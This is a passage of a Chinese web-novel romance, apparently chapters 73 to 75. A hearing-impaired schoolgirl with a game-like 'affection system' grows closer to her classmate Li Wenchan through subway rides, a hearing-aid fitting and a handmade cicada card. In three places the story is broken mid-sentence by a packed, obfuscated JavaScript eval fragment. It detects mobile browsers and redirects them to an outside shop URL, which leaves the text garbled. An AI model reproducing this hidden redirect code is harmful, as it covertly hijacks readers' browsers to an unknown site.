池映雪趴在桌上,头埋进手臂里,指尖在桌面一点一点。 好奇怪。 昨天晚上还说不喜欢,今天又这么在意。 都怪他。 早自习快开始时,后门传来清晰的开关声。 其实也不过七八分钟,总觉得有七八个小时那么漫长。 马尾辫垂在桌面,正对最右倒一排的方向。 李闻蝉放下书包,用湿巾擦拭手上的猫毛。 昨晚上还好好的,一大早就这么不高兴。 …… 还在想那家伙? 李闻蝉想起向韩潇讨来的办法,深呼吸调整一下心情,将湿巾揉成团,砸向胡挚的后背。 李闻蝉:“上次借你那本漫画看完没?” 胡挚:“哎呀没呢!这不是期中考完我才开始看嘛。” “全国大赛太经典了,你让我多欣赏会,嘿嘿!” 李闻蝉随意抽出本书,一页页地翻,眼睛压根没往上面瞟。 “帅吧?” “帅!”胡挚比大拇指,“尤其是流川,帅绝人寰!” 不出李闻蝉所料,万苏瑶率先转过身:“帅哥?哪有帅哥!” 胡挚鄙夷她一通,耐心介绍:“就是蝉哥借了我一本漫画,里面有个角色特别帅……” “诶,刚好你不是前阵子失恋了么,你那爱豆。”胡挚贱兮兮地笑,“来喜欢漫画角色呗,一辈子不会塌。” 池映雪被万苏瑶旋身的动静震到,终于直起身,有了些兴致。 李闻蝉尽收眼底,暗赞胡挚上道。书已经翻到底,他又从最后往前翻。 万苏瑶伸长脖子瞄了几眼,说黑白漫看不下去,胡挚翻了个大白眼:“要不你学我喜欢歌手,管他塌不塌,歌好听就行。” 万苏瑶逗道:“行啊,你先唱个两句我听听?” “我不行。”胡挚战术后仰,手搭上李闻蝉肩膀,“论音乐嘛,那还得是我蝉哥。钢琴吉他小提琴可都是童子功,还有我打赌你绝对想不到蝉哥那歌喉,那嗓子,天籁之音啊!” 周围立马有胆大的人试着起哄,“来一个”的声音此起彼伏。 池映雪:还有这种好事? 她眼含期待望过去,不期然与李闻蝉对视,连忙收回眼,装作找书本的样子。 “不了。” “我可不随便唱。” 李闻蝉声音落地。 那股拽劲儿又起来,起哄声霎时落幕。 今晚没有晚自习,日落后不久,学校门口就停满来接孩子的车辆。 沈星桥和一个并不熟悉的同学微笑告别,转身上了沈家的豪车。 沈母依旧坐在前排:“今晚去见的张老师退休前可是出题人,让你准备好的问候词背好了没有?” “背好了。”沈星桥让她检查一遍,沈母这才点头。 “你们校长的推荐信只有一封,按以往的经验,只会保综合成绩第一的那个。现在是高二上学期,你起码要再考到两次第一。按你和池映雪现在的分差,很不乐观。”沈母阖目,“不过事已至此,往乐观想,池映雪就是个残疾人,再优秀,名额也不一定给她。” 沈星桥看向窗外。 “母亲。”他攥紧拳,直到关节泛白,“……请不要这么说她。” 沈母嗤笑一声:“沈星桥,你不会真的喜欢那个聋哑人吧?” “之前让你和她处好关系是因为池老爷子的态度,我仔细一想,她有本事开口说话吗?有能力继承集团吗?估计就是池老爷子放的烟雾弹,最后的继承人即使不是李闻蝉,也会是池怀元。” “这样很好,你就把昨天那场风波当做及时止损。池鲤鲤才是最适合你的选择,适当优秀,拿的出手,还对你很痴心,这样的人最好掌握。” 车辆颠簸。 车窗倒映清隽的面庞,因为要去见老师而精心打扮过。沈星桥捂住嘴,从胃部升起一股翻涌的恶心。 这种感觉一直持续到窗外浮现某道清瘦的影。 堵车了。 视线随车轮一起停滞。 池映雪背着红书包,在人群里很醒目。马尾随走路摇晃,刘海边别了一个紫色小卡子,隔得远看不清。 她倏尔身一旋,沈星桥慌乱错开视线,却抑制不住移回去。 身着同款校服外套的李闻蝉慢悠悠地走向她,越靠近就越显得体型相差甚大。他的手插在兜里,将外套微微向前顶,从这个角度,似乎要将她拢入怀中。 手心紧贴车门,指甲嵌进去,鲜红的血痕若隐若现。 地铁站内,李闻蝉捡起池映雪的书包,拍一拍,帮她背好。 “这回顺路了。” 人有点多,他在她耳边调笑,“我就帮你背到下车,友情价,不要钱。” 池映雪:……我谢谢你啊。 下行没电梯,两人正并肩走到台阶最上方,底下就传来列车进站的轰鸣。 就是他们要乘坐的那趟。 池映雪加快脚步,却被李闻蝉拉住手臂。 “等下一趟。” 地铁门缓缓相合。 车身加速,站在空荡荡的轨道前,池映雪向右侧仰起头,不明白他葫芦里卖的什么药。 因为上一趟刚走,等位区行人寥寥。 李闻蝉原地微踏两步,向她侧身逼近。 “!” 猝不及防。 池映雪被他抵在柱上。 李闻蝉弯着腰,两手松垮抓着她垂落的书包带子,脸愈发近。池映雪整个人都烧起来,稀里糊涂闭眼,听见一声捉弄人后得逞的那种笑。 睁眼。 瞪他。 控诉! 笑意缓止,清冽的歌声响起。 只对着她的耳朵,唯独她能听见的,“天籁”。 池静俭下午去接刚回国的母亲了。回了老宅,老爷子在小餐桌等她吃晚饭。 不同于上回中秋宴的古朴盛大,只是一个老式的小圆桌子,菜式也清淡。秋葵干茄,油渣青菜,蒸鱼头和盐水鸭。 池老爷子面前多一盅冬瓜排骨,管家亲自端来杯梨汤,笑着解释:“小蝉少爷千叮万嘱小姐您不吃排骨,为您准备了刚熬好的梨汤,还是之前那个大师的手艺。”嗯,今早被少爷从玫瑰园那边又要回来的。 池映雪双手接过,放好后不太习惯地摆手。 不用这么麻烦的。 池老爷子一眼就明白她的意思,筷子敲敲碗,故作不耐烦:“推脱什么?别拿自己当外人。” 池映雪点点头,偷瞥他一眼,又一眼。 池老爷子瞪她:“干嘛?还不快夹菜。” 池映雪从口袋掏出手机,在对面的死亡注视下飞速打了几个字,腼腆地推过去。 「谢谢您,爷爷。」 池老爷子:“咳。” 饭毕,池映雪上楼写作业,池老爷子坐在原位,问管家:“和另外两台浮影的车主联系的怎么样了?” “正在联络中,半年内就能拿下。都给小姐留着呢,您放心吧。” “还不够。我池家的孙女,三台小车怎么够配得上?这样,过阵子我去公司,先给她转点股份。” 池老爷子咂巴嘴,回味那“爷爷”俩字,“你说孙女就是好啊,像池静俭和李闻蝉那两个不着家的,在旁边也只会气我,尤其是李闻蝉!” “也不能光关心物质,像小雪这样的,你帮我多留意她的身体和心理健康,及时汇报。” 管家应下来,转转眼:“说起这个,刚进门的时候,小姐的脸好像有点红。” “但又不像发烧,因为见到您前就消掉了。”管家嘟囔,“真奇怪。” 与卧室相连的小书房中,池映雪将台灯调成护眼模式。 周末的作业她已经抽空全部写完了,便找来语文老师推荐的《九篇雪》看。 据说是作家的处女作,文笔青涩。但池映雪觉得正因说不清,或自己也理不清埋藏于底的心意,才格外有第一片雪花落在鼻尖那种萌发的心情。 手机震动。看完手上这一篇,池映雪拿起来查看。 李闻蝉:「到家了。」 才到啊。 李闻蝉:「刚去楼下吃了个快餐,你呢?」 小雪:「你又吃快餐。我和爷爷一起吃饭,四菜一汤。」 她把菜名都报了一遍,又和他讲了排骨与梨汤的事,末了打字:「谢谢你记住。」 李闻蝉:「你不也记住我不吃巧克力了吗。」 池映雪没忍住,笑了一下,手指在屏幕上晃了一圈,认真道:「我在之前家里的小吃店做过工,像我做早点还挺干净,但和很多同行交流,尤其炒菜和快餐,有的店卫生确实不好,原料也不新鲜。」 李闻蝉:「so?」 池映雪磨磨蹭蹭地按键盘:「你要不要,以后来这边,一起吃呀?」 那边好一会都没回复,池映雪七上八下,忽然被提醒好感度加了一点。 现在是87。 李闻蝉:「我也想,我还想回来住呢。但你家老爷子不让啊。」 李闻蝉:「放心,我就是想吃他家的黑椒蘑菇堡了。平时家里有不住家的厨师,要多健康有多健康。」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687499|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>池映雪松了口气,白框紧接着弹出:「没想到你这么关心我啊,池小雪。」 …… 这很难想到吗。 池映雪把手机一扣,刚举起书,滴滴滴的消息又接二连三冒出。 李闻蝉:「作为回报,还想不想听歌?」 几分钟后,池映雪起身,将书房门反锁。 靠在油绿色的门后,听筒播放对方发来的录音文件,比地铁站里更清晰,更完整。 “如果我们不曾相遇/我会是在哪里。” “如果我们从不曾相识/不存在这首歌曲。” “每秒都活着/每秒都死去/每秒都问着自己。” “那一天/那一刻/那个场景/你出现在我生命; 从此后/从人生/重新定义/从我故事里苏醒。” “偶然与巧合/舞动了蝶翼/谁的心头风起…… 无数时间线/无尽可能性/终于交织向你…………而我的/自传里/曾经有你/没有遗憾的诗句。” 直到晚上睡觉,池映雪还在单曲循环。 也许是先入为主,她去搜来原唱,居然还是觉得他唱的更好听。 池映雪换好睡衣,嗅了嗅衣物刚洗过的香气,钻进被窝里戴耳机听。 池大伯母肖玉雯敲门无人应,推门时,看到的就是床上隆起来小小的一团,还时不时抖一抖。 肖玉雯:? 肖玉雯关上门,后面的池静俭露出关切神情:“小雪已经睡下了?” 肖玉雯擦擦眼泪,摇头。 “这傻孩子,一个人躲被子里哭呢。明天我就带她去好好补补!” 肖玉雯说到做到。 第二天是周日,原本闲来无事,池映雪还在床上赖着,享受十七年来久违的懒觉,就被敲门声吵醒。 第一回见的大伯母亲亲热热,打进门起就没闲过,一会帮她挤牙膏,一会帮她梳头发,趁她换衣服的功夫还要递一杯温盐水来。 肖玉雯效率极高,带池映雪去做了头发,保留了齐刘海,只稍微打薄,免得闷出痘。 “小雪皮肤真好哦。”她贴着她讲,声音柔柔的,“人也漂亮,像这厚刘海好多人都不敢留哎,要不是出于对未来的皮肤管理考虑,就不给你弄薄了。” 头发还是那个头发,乍一看没什么变化,却更有层次,有种上了一档的感觉。 池映雪觉得很神奇。镜子里面的少女袅袅婷婷,雪面粉腮,原来她可以长这模样。 到午饭时,她已经多了一个新发型、好几身衣服和新书包——肖玉雯说,红书包可爱是可爱,但她发现池映雪在试衣服时更偏向蓝色,所以去挑了个奶蓝色的。 以前的红书包是仿照池鲤鲤的同款。新书包外形相似,池映雪却抱着它,不想松手。 她们用餐的地方是一家花园餐厅,从这里可以看见许多城市地标,据说旁边还有一个下午茶的圣地。 “茶歇的甜点不错,只是偏美式口味,静俭说你不喜甜。当然如果想尝试也可以直接叫那边做,吃不完大伯母帮你。” 肖玉雯:“还有就是,我们得吃快点,静俭过会就开车来接你去医院看耳朵。” 池映雪颔首。没错,今天是约定好的考后周末,要去再测听力,配合适的助听器。 想当时,还是秦书为她预约的。 翻菜单的手指在空中停滞一瞬间,刚回神,又再次被打断。 “……小雪?” 秦书一身名贵套装,显然好好打扮过,身后不远处还站着几位气质相仿的贵妇,就在茶歇区前。 “你,你还好吗。” 秦书眼眶通红,颤巍巍地伸手。 池映雪下意识躲了一下。 肖玉雯咳嗽好几声,起身道:“好久不见啊,小书,你也来这边吃饭?” 秦书:“雯姐。我来和阿曼她们喝茶……” 茶话会。 秦书想到之前的对话,骤然语塞。 池映雪已经重新开始看菜单,秦书将包压在怀中,小心问道:“小雪,要不要和妈妈一起去茶话会?” “喝喝茶,吃吃点心……你可以不说话。” 池映雪放下菜单。 秦书眼里升起希冀,却见她停了一秒钟,将菜单转了个向,指给肖玉雯想吃的食物。 肖玉雯笑着比了个“OK”,回眸道:“小雪一会还有事,至于点心,我想,你做母亲的,应该了解她不爱吃什么。” 秦书猛然惊觉,又羞又恼,悔恨无边。 她知道的!只是刚才看见小雪太激动,口不择言…… 还有一件事让她心惊。 为什么,女儿离开家里,却好像变得更漂亮、更好了。 秦书失语,一步三回头地离开。 池映雪全程没有抬头。 等出餐后,她安静吃完,被肖玉雯拉起冰凉的小手出旋转门,走到池静俭的车前。 新鲜的冷空气灌入,池映雪深深呼吸。 趁着肖玉雯嘱咐池静俭照顾好妹妹的功夫,她在后排车窗前弯腰,照映刚修过的刘海,抬手整理。 笃笃。 窗内忽然传来两声敲击,池映雪立马弹起。 ……等下。 这车窗,似乎是单向透光的来着。 玻璃降下,李闻蝉跷二郎腿,慵懒地倚靠座位,脑袋朝后偏。 长眼微眯,一眨不眨盯她,嘴边噙一抹调侃的笑:“中午好,臭美小雪。” 一手撑颌,另一只大手轻拍后排的另一侧。 “一起坐?” 74. 第 74 章 医院的电梯里,李闻蝉还在生闷气。 池映雪和池静俭交换了一个无奈的眼神,向他挪了一步。 李闻蝉转过身,双手抱胸,面朝电梯壁。 银色反光中,池映雪犹豫一会,又挪了回去,低头整理病历单。 李闻蝉:…哼。 李闻蝉拨了拨碎发,手抵成拳,沉沉地咳嗽。 待电梯到达诊室所在的楼层,池静俭率先走出,李闻蝉抬手勾住池映雪裙子后细细的装饰蝴蝶结:“你和池静俭才认识多久?” “就见了那么几面。” 李闻蝉咬牙切齿,语气很别扭,“选他不选我。还‘哥哥’,‘哥哥’,真是兄妹情深啊。” 池映雪:? 别告诉她,他现在还在纠结她没去后排坐的事情。 李闻蝉直起腰,不大自然地哼着不成曲的调调。池映雪看见他就想起刚才照镜子被发现的事,凝了一眼,追上池静俭走进诊室。 池静俭负责和主治医生沟通,做完一系列检查,三人又回到这里。 “的确是奇迹。”医生不可思议道,“像她现在这种听力水平,佩戴助听器尽量看着发声者的口型,日常的一对一、一对二交流,上课听讲,或者公共场合中说说话什么的,都可以做到。” “但一定要注意不能长时间处于噪音环境,还有,助听器不像眼镜。眼镜和相机都会失真,更别说这个,对一些环境音,比如鸟叫虫唱、广播音等,不能很好地接收……” 池映雪认认真真地听讲,池静俭坐在她旁边的椅子上,同样正襟危坐。 医生桌前就两把椅子,李闻蝉缴费回来,仔细阅读墙上的听障科普,手指拨弄墙边的松叶。 不知医生说了什么,氛围从严肃转为轻松,清丽的背影微微颤抖,旁边的池静俭凑过去,真是难得见那张死面瘫脸嘻嘻哈哈。 李闻蝉上下齿相抵,哼着气点几下头,阔步朝两把靠近的椅子走去。 医生低头写个备注的功夫,眼前多了一道英气逼人的身影。 横插在兄妹俩中间,手搭着那位哥哥的肩背,俯下的腰身却贴近同样青涩的女生。 池静俭的西装都被他压皱:“……喂。” 池映雪将脸低下,抿住嘴。 李闻蝉笑眯眯:“我也来旁听。” 医生:“好啊,听完了多多照顾小池。” “看你这样子,是小池的同龄人?”医生的视线在眼前的少年少女身上徘徊,笑道,“同学?” 青春真好。 李闻蝉唇角上扬,刚张开嘴,池静俭:“是该照顾。他是我俩小叔。” 医生:? 医生:“小叔啊,哈哈,长得还挺年轻的。” 李闻蝉:……… 他当初为什么非要搬这个辈分出来。 周天晚,池映雪回到学校上自习。 桌前围了满当当的人群,全来围观崭新的助听器。 “我第一次见助听器!酷!”胡挚啧啧称奇,“之前还以为和蓝牙耳机差不多,现在看有点像那种耳朵装饰,耳什么来着……” “耳挂?”万苏瑶随口接话,凑到池映雪耳边,“那小雪现在是不是就能清晰地听见我们的声音啦!” 之前她说能听见,说的是音感和字句,但音调不成体统,也很难记住谁是谁。 池映雪重重点头。 瑶瑶的声音和她想的一样,大大方方,像冬天吃火锅时沸腾不断的泡泡;秋怡则更细腻,有种涓流冲刷鹅卵石的清秀; 胡挚浓眉大眼的,声音也粗放,很爽朗,像一只大熊;章子健戴着眼镜斯斯文文,音色亦如手指翻过书页。 李闻蝉插着兜走入教室时,万苏瑶正抱着池映雪道:“嘻嘻,全班人里小雪第一个听的就是我的声音!可一定要记住呀!” 胡挚:“可拉倒吧,你这火锅泡泡有什么好记住的。” “那也比大狗熊好!” 二人又吵起来,更多人围上来,让池映雪听听自己的声音。 人群渐密,遮挡住过道间的缝隙。 章子健回头一瞥,从前排挤出来,摘下眼镜,问李闻蝉借了张湿纸巾擦拭。 “池映雪在听每个人的声音。”他低着头,状若无意,“她记住的方式挺特别,用的是通感。” “嗯。” “……”章子健戴回眼镜,“就这?” “不然?” 李闻蝉打开书包,从中取出各科要交的作业,章子健一看,居然都写满了。 李闻蝉靠墙斜坐,正对热闹的同桌:“万同学也不想想,配助听器这么大的事,我这个亲友能不去吗?” “谁才是第一个?” “搞笑。” 章子健:“……是是是。” 章子健还要去催各科课代表收作业,先走一步。 李闻蝉坐正了些,将校服外套的领口立起,下巴埋进去,食指与中指来回交替,飞速敲击着桌面。 人群直到晚自习开始才轰然而散,池映雪终于闲下来,习惯性向右一瞄,撞进一双幽怨的眼睛。 系统友情提醒:[宿主,你配助听器到现在,都没听男主大人说过话呢。] [下午刚要试戴,男主大人就被老爷子临时叫去公司,好不容易赶来学校,宿主你又被好多人围住。] 池映雪微怔。还真是。 谁叫他本来就和别人不一样。 话虽如此,池映雪略有心虚,用书挡住下半张脸,朝他眨巴眼睛。 李闻蝉眼眸里的浓墨一瞬间清清澈澈,像风吹走沉积的砂石,只余下搅动的池水。 他转过头去,手插进兜,背对着她。 池映雪:小气鬼。 嗡嗡。 李闻蝉:「晚上怎么回。」 池映雪提起来的心轻飘飘地落地,将书本立在桌面,垂下头飞快打字:「坐地铁!」 她将手机朝左斜,在联系人里找到池静俭。 小雪:「哥哥,晚上不用麻烦你来接我了,我和同学一起坐地铁回家。」 一分钟不到,池静俭就回复:「哦。」 「好的。」 池映雪本来还担心他多想或者盘问,准备了好几种说辞,根本没派上用场。 哥哥果然有艺术家的气质,就和美术选修的老师一样,自由随性,云淡风轻。 与此同时,李闻蝉刚息屏的手机亮起来,消息一条接一条炸出。 大侄子:「小雪怎么了?是不是有人欺负她?!」 大侄子:「之前我妈让我陪她看泡沫剧,里面的学生霸凌同学就是让对方谎称和同学去玩以避免家长发现。」 大侄子:「还是说妹妹只是单纯的嫌弃我?我是不是头像太丑了?还是说年龄有代沟?」 李闻蝉:「停停停。」 这都什么跟什么。 他不在另说。在他眼皮底下,谁敢欺负她? 李闻蝉:「好好说话。」 大侄子:「唉……小雪是不是不喜欢我。下午送她来的时候说的好好的,刚才突然和我发消息说不用接她,要和同学一起回家……这哪个同学啊,靠谱吗?」 安安静静的教室,所有同学都在自习。 池映雪将试卷轻轻翻面,右边传来一声十分响亮的笑。 全班人回头看去,讲台上的徐静萌露出死亡微笑:“李、闻、蝉。” 李闻蝉笑还没停,条件反射地站起,用手捂嘴才勉强将低笑改为闷着笑。 徐静萌:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699804|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李闻蝉!你给我出去罚站!” “好好好,遵命。”感受到左侧的目光,李闻蝉难得正色,举双手作投降状。 他压下嘴角,从好几本其他教辅底下抽出小题狂做,转着笔走出门。 转身关门的时候,嘴角又往上勾起。 池映雪:……罚站还这么高兴,也是没谁了。 秋夜凉爽。 晚风拂过双颊,将烫意消减。 李闻蝉靠墙,隔着屏幕教育池静俭:「这你就不明白了吧,像我们这些年轻人,就爱和同龄的朋友结伴回家。」 「至于那个同学嘛,肯定靠谱,靠谱得不能再靠谱了。再说她想一起走的人,在她心里肯定起码是认可以上,你身为兄长,别干涉人家小雪妹妹的交友圈。」 李闻蝉发完,神清气爽,将手机揣兜,翻开某人专门挑来的习题册一道道演算。 放学铃响,他哼着歌将门缓慢蹬开,抬眸。 池映雪下午没背书包。肖玉雯给她添置好些裙子,配了一个随身可背的斜挎小包。 她正往里面装入一支钢笔,一枚书签,白炽灯下尤其刺眼。 又是这支钢笔。 又是那首词。 [叮!攻略对象好感-1。] [当前男主好感:86。] 学校外侧的街道,梧桐叶满地深黄。 路灯下人影纠缠。池映雪跟在李闻蝉身后行走,还有些恍惚。 好感度已经很久没下降过了,她和系统分析半天,毫无头绪。 系统:[-1而已,洒洒水啦,宿主这么担心做什么?] 池映雪也不知怎么和它讲,的确,这点小数值不算什么。 但她就是在意。 穿行在人潮间,才懂得医生说避免喧闹环境的意义。不戴助听器的时候,听不清就听不清,像是初获听力后试听过的白噪音; 此刻,放学的人流,靠左马路上的鸣笛,每一种声音都更加清晰,合在一起,吵得人脑胀; 心也像被两枚薄指甲揪住了一样,不疼,很烦躁。 [叮!攻略对象好感+1。] 池映雪被突如其来的弹窗吓一跳,踩空脚下的路坎。 咚! 又一次,她撞在前方挺阔的背。 微涩的柑橘香扑鼻,似乎听见一声很小的“真没出息”。也不知是在说谁。 池映雪抬手,拨开刘海。 还没有捂住额头,手腕忽然被一只大手握住——更确切说是包裹。 轻而易举,李闻蝉攥住她手腕,不留一丝缝隙地拉远:“别动。” “我看看。” 他根本没放开。换另一只手触碰她额头微红的地方,轻轻一点,像是在试探。 ……好烫。 如果猎物知道自己会被吃掉,那么炙烤前感受到的烈焰温度,大抵和现在差不多。 池映雪的睫毛乱闪,颤了半晌,索性闭眼。 干燥的手指随即按了上来,在额头上打着圈轻揉。她知道他关节有力,手劲很大,居然也能够这么轻柔,这么……珍惜。 额头。刚才不知道红没红,现在肯定是红透了。 嗒。 “!”池映雪后退一步,这下真的捂住脑袋,睁圆眼控诉李闻蝉。 他干嘛弹她额头!? 作案的手指还停留在半空。 李闻蝉扯开嘴角,收手揣兜,弯下腰贴向她的耳。 “一点小……惩罚。” “池映雪。” 他就着纤细手腕将人拽回,难得对着她流露强势那一面。 像好脾气的野兽终于忍无可忍,对猎物亮出獠牙。 “听好了。” “不许先记别人的声音。” 75. 第 75 章 说话时,他的唇几乎快触碰她的耳垂。 温热的气息洒落,叫人很难不记得这样的声音。 池映雪抬起手。 在李闻蝉错愕的目光里,她学他歪着勾唇,摘下那边的助听器。 听不见。略。 李闻蝉气出一声笑。 但能怎样,他又拿她没办法。大少爷直起身,深深呼吸,小拇指勾起池映雪小包的细链条,穿越人群朝地铁站走去。 过个安检的功夫,李闻蝉站在台上随意展臂,一回头便皱起眉来。 人呢? 周末夜晚的地铁站,多得是刚下自习或补习班的学生,以及休闲一天后拖着不情愿步伐归家的社会人士,行步迟迟,往来堵塞。 不等安检员弯腰,李闻蝉转身致歉,连传送带上的书包都顾不得便向来时的站厅奔去。 人影交错,他的腹部一空,胃脏像被钩锁吊起,有种不知何时落地的恐慌。 这么多人。这么吵。 她又是一个人。 脚步匆促,险些跌倒,直到在不远处的自动贩卖机前看见那个小小的身影。 她背对他,蹲在地上,安安静静一团。 “砰咚”一声,有瓶装饮料下坠后稳稳降落的响,连同他的心脏。 池映雪伸手捞出瓶装的汽水,起身回眸,在人群里与李闻蝉遥相对视。 如果说刚才在街上,他的眼神是捕猎的野兽,那此时此刻,更像野兽的猎物逃跑后再次自投罗网。 但是野兽并不想吃掉它。 那里面的情绪太复杂。池映雪把双手背在身后,懵懵懂懂地走过去,兵临城下,慢吞吞递出灵光一闪后买来的惊喜。 “……给我的?” 池映雪点了一下头,轻盈地溜去安检。 李闻蝉望着她跑远的背影,亦步亦趋,同时低头端详手心清凉的汽水。 橘子味的。 他听见久违的心声。 “这是你。” “这是你的声音。” [叮!攻略对象好感+1。] [当前男主好感:88。] 地铁到站。 李闻蝉下车的站点在她之前,进出门上方的指示牌灯光闪烁,就在下一站。 有且仅有的一个空位被他让给她,恰好斜对面有人起身,池映雪向李闻蝉使眼色。 李闻蝉抓着她头顶的扶手,目不斜视。 那空位很快有人补上。列车再次启动,周围的人随惯性微倾,他也丝毫不动。 池映雪顺着他的视线低头,只有她随身斜挎的小包。 呲。 汽水再次开盖,橘色液体都快被喝完。李闻蝉昂起下颚,冷白色皮肤下喉结滚动。 池映雪垂下睫,也无法忽略声与味同样强烈的存在感。 这两站相隔很短。须臾后地铁再停,池映雪的手在膝盖上轻按两下,打算举起来挥手告别。 李闻蝉突然将她拉起。 “去我家。” “一会我送你回老宅。” 小包被一路攥紧,带着她随他下车,“……给你看个东西。” 李闻蝉的家是一梯一户的大平层,黑色简约装修,比想象中沉闷。 他随手按下开关,从玄关到客厅,整屋都明亮起来。 距离最近的一盏顶灯,正好照亮正对门口的大挂画,装裱看上去就很名贵,不知道的还以为是什么稀世珍藏。 是她那副雪花。 不过好像比她画的要好。 没多余的拖鞋,李闻蝉去洗衣房找到一双崭新的男士棉拖给她:“摹的你那幅。” 那她的呢? 这拖鞋对池映雪来说过分大,踩在地上啪嗒啪嗒。 李闻蝉抬手点了点沙发,自己走到开放式厨房的岛台前:“我总不能把保险柜放门口。” 池映雪将碎发拨到耳后,没走向沙发,拖着鞋子走向岛台另一边。 台面十分整洁,饮水用具的分类摆放井然有序。只是偌大的空荡区域显然没来得及收拾,没喝完的半盒石榴绿茶压着散落的纸张,凌乱铺开,依稀能看见盛池的title。 要不是这样,她都快忘记他还身兼帮爷爷处理公司事务的职能。明明都是学生,他干起这些事来也游刃有余,据说眼光毒辣,手段不一般,前些天还揪出了一个陈年内鬼。 系统:[要不怎么说能当上男主大人呢?看看咱们主世界的名字,那可是豪门商战日常诶!] 是呀。 池映雪接过李闻蝉递来的玻璃杯,柠檬片新鲜,温水澄澈。只是有些涩。 她也时常忘记他是男主。 一张岛台被头顶的光束一分为二,距离是近还是遥远,她也说不清。 池映雪双手捧着杯子,微微抿唇,向他那边挪动。 李闻蝉忽然关上水龙头,擦着手掉头走远。 哗声停止。池映雪饮下一大口柠檬水,泄力后将岛台作为支点背靠,再次环顾四周。 刚才他打开冰箱的时候,露出里面少量的新鲜蔬菜,生菜不能久放,两枚装的鸡蛋只剩一枚,能映证上次聊天的内容。 客厅很大,落地窗俯瞰整片桥西区的夜景。茶几上有几本摊开的资料书,曲面大电视的下方连着游戏手柄,旁边是垒起来的CD和唱片机,还有一个扭蛋模样的糖果机,不知道是装饰还是真的。 池映雪:“系统,我想解锁男主的人物小传,你帮我看看有没有与他居住或者生活环境相关的?” [我来啦!呜呜,宿主你终于又要解锁了!]系统眼睛亮亮。 “……这么激动?” 池映雪第一次好奇,“不会我花字数,你有提成吧?” 系统心虚了一下,理直气壮道:[当然啦!人家可是天道局正式员工,和你们人类的工作者一样,不赚钱谁工作呀?] [我巴不得宿主多赚多花,这样我就可以去商城买系统界面的皮肤啦……] 合着它之前和她对话时那些花里胡哨的装扮和贴画是从这来的。 [诶,还真有,宿主现在有600字余额,这边只有300字,我们全解锁了吧!] [人物小传-成长经历-环境篇(全)] [0-6岁。李闻蝉出生于京城老牌世家,父亲是背景强大的独子,在家族内斗中由政转商,创下一代辉煌,与身为知名画家的母亲联姻,常居住在位于京城西区中心的祖宅大院内。] [6-18岁。父母意外身亡,家族中人虎视眈眈,身为其父忘年交的知名企业家、南城当地豪门池家家主毅然出面,守住李父遗产并宣布收养李闻蝉。自此,李闻蝉随之定居南城,升入高中前住在池家位于锺山的老宅,之后一人独居于桥西区高档小区内。] [19-22岁。在池家家主和母亲至交唐女士的建议下,前往HK水湾区生活,并顺利取得HK贵族高中与M国WST大学的学历学位。] [剧情开始后(22岁-)。先后辗转于HK与南城……] 池映雪没有看完,下意识关闭界面。 他的生日是四月三号,19岁,也就是说……还有不到半年? 李闻蝉要去HK?为什么从没听他说过?不对,那也很正常,承载他母亲回忆的长辈、他很要好的朋友都在那里…… 李闻蝉回来的时候,池映雪正对着文件纸怔神。 太乱了。他抚摸后颈,加快脚步,红着耳垂前去收拾。 小包翻开,随身携带的小本子和黑笔被推过来。 「你好厉害,盛池好多事都很需要你。」 耳垂的燥热变成灼烧。 李闻蝉偷瞥旁边的发旋,用力咬住唇,肩膀微微颤抖。 池映雪没有抬头,接着写:「所以你不会离开它的,对吧。」 对吧? 李闻蝉愣了两秒,笑开:“你在担心什么?” “我离开与否,盛池都是盛池,像我这样,你未来也可以。” 李闻蝉将文件理好,整整齐齐推到她眼前,将内容解释了一遍,鼓励道:“以你的头脑,肯定会比我做得更好。” 「我不行。」 “都没试过怎么说不行?”李闻蝉索性抽走那根沮丧的黑笔,敲了敲她鼻尖,“我现在可是在给你们家打工,说不定就是给未来的你打工。” 池映雪不说话,光摇头。 怎么感觉要哭了? 李闻蝉蹙眉,没来由的,手心有些空。 他连忙拍了拍她身前冰凉的桌面,递出一张贺卡。 “打开看看。” 本来是打算做万圣节礼物的。 不过,好像没必要找那么多借口。 李闻蝉撑起下巴,嘴角挂笑,一眨不眨地盯着池映雪将贺卡缓缓张开。 想送。想现在送,想立刻马上拿到她眼前,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707259|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一起装在随身的包里。 贺卡外层是树叶形状,明亮的绿色,像未知的下一个夏天。 内页用蓝紫渐变的彩墨书写漂亮的字迹:「听,」 行草连笔,口字旁,写得像一个爱心。 视线定格在两面贺卡中间的夹缝,那里有一只摊开后立起的,纸叠成的蝉。 玻璃般的蝉翼轻轻颤动,里面应当有零件或音响,传来清透的鸣唱。 李闻蝉的声音在耳边响起:“池映雪,你听见了吗?” “蝉的声音。” ……其实听不清。 